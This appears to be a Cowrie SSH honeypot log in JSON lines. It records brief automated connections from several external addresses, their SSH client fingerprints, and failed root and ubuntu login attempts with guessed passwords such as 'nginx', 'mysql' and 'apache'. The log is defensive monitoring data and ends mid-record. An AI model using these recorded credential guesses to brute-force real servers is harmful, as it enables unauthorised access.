{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:53.303124Z","src_ip":"79.3.96.178","session":"d213e7b4345e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrew","message":"login attempt [root/andrew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:53.855232Z","src_ip":"79.3.96.178","session":"d213e7b4345e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:54.989089Z","src_ip":"79.3.96.178","session":"d213e7b4345e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42136,"dst_ip":"10.17.0.5","dst_port":22,"session":"da66b3de576b","protocol":"ssh","message":"New connection: 193.37.70.224:42136 (10.17.0.5:22) [session: da66b3de576b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:06.689694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:06.693875Z","src_ip":"193.37.70.224","session":"da66b3de576b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:06.786428Z","src_ip":"193.37.70.224","session":"da66b3de576b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ginger","message":"login attempt [root/ginger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:07.133807Z","src_ip":"193.37.70.224","session":"da66b3de576b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:08.230411Z","src_ip":"193.37.70.224","session":"da66b3de576b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56436,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f07258fb70","protocol":"ssh","message":"New connection: 80.94.92.184:56436 (10.17.0.5:22) [session: 50f07258fb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:12.293604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:12.408906Z","src_ip":"80.94.92.184","session":"50f07258fb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:12.565287Z","src_ip":"80.94.92.184","session":"50f07258fb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":53228,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aa29ad06771","protocol":"ssh","message":"New connection: 103.98.149.87:53228 (159.203.135.109:22) [session: 6aa29ad06771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:12.856037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:12.861275Z","src_ip":"103.98.149.87","session":"6aa29ad06771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:13.085608Z","src_ip":"103.98.149.87","session":"6aa29ad06771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:13.403071Z","src_ip":"80.94.92.184","session":"50f07258fb70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321654987","message":"login attempt [root/321654987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:13.772510Z","src_ip":"103.98.149.87","session":"6aa29ad06771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:14.621142Z","src_ip":"80.94.92.184","session":"50f07258fb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:14.997753Z","src_ip":"103.98.149.87","session":"6aa29ad06771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:21.046565Z","src_ip":"103.210.22.17","session":"baf56d62abae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":46226,"dst_ip":"159.203.135.109","dst_port":22,"session":"58392824050c","protocol":"ssh","message":"New connection: 103.210.22.17:46226 (159.203.135.109:22) [session: 58392824050c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:21.478760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:21.483226Z","src_ip":"103.210.22.17","session":"58392824050c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:21.703975Z","src_ip":"103.210.22.17","session":"58392824050c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:22.944534Z","src_ip":"103.210.22.17","session":"58392824050c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:24.166715Z","src_ip":"103.210.22.17","session":"58392824050c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":50196,"dst_ip":"159.203.135.109","dst_port":22,"session":"4379fc7dc420","protocol":"ssh","message":"New connection: 103.210.22.17:50196 (159.203.135.109:22) [session: 4379fc7dc420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:24.369823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:24.374784Z","src_ip":"103.210.22.17","session":"4379fc7dc420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:24.588178Z","src_ip":"103.210.22.17","session":"4379fc7dc420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:25.235075Z","src_ip":"103.210.22.17","session":"4379fc7dc420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:26.451673Z","src_ip":"103.210.22.17","session":"4379fc7dc420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":53516,"dst_ip":"159.203.135.109","dst_port":22,"session":"09ed31595e51","protocol":"ssh","message":"New connection: 103.210.22.17:53516 (159.203.135.109:22) [session: 09ed31595e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:26.682914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:26.688283Z","src_ip":"103.210.22.17","session":"09ed31595e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:27.196935Z","src_ip":"103.210.22.17","session":"09ed31595e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:29.028644Z","src_ip":"103.210.22.17","session":"09ed31595e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60778,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d20ba10bcb","protocol":"ssh","message":"New connection: 87.251.79.125:60778 (159.203.135.109:22) [session: 33d20ba10bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:29.436677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:29.442391Z","src_ip":"87.251.79.125","session":"33d20ba10bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:29.513885Z","src_ip":"87.251.79.125","session":"33d20ba10bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexsex","message":"login attempt [root/sexsex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:29.730560Z","src_ip":"87.251.79.125","session":"33d20ba10bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:30.257405Z","src_ip":"103.210.22.17","session":"09ed31595e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":58052,"dst_ip":"159.203.135.109","dst_port":22,"session":"fff5a6e47c7a","protocol":"ssh","message":"New connection: 103.210.22.17:58052 (159.203.135.109:22) [session: fff5a6e47c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:30.471519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:30.477126Z","src_ip":"103.210.22.17","session":"fff5a6e47c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:30.804430Z","src_ip":"87.251.79.125","session":"33d20ba10bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.161.147.167","src_port":47256,"dst_ip":"10.17.0.5","dst_port":22,"session":"31d1c31f42ee","protocol":"ssh","message":"New connection: 5.161.147.167:47256 (10.17.0.5:22) [session: 31d1c31f42ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.705345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:58:39.711260Z","src_ip":"5.161.147.167","session":"31d1c31f42ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc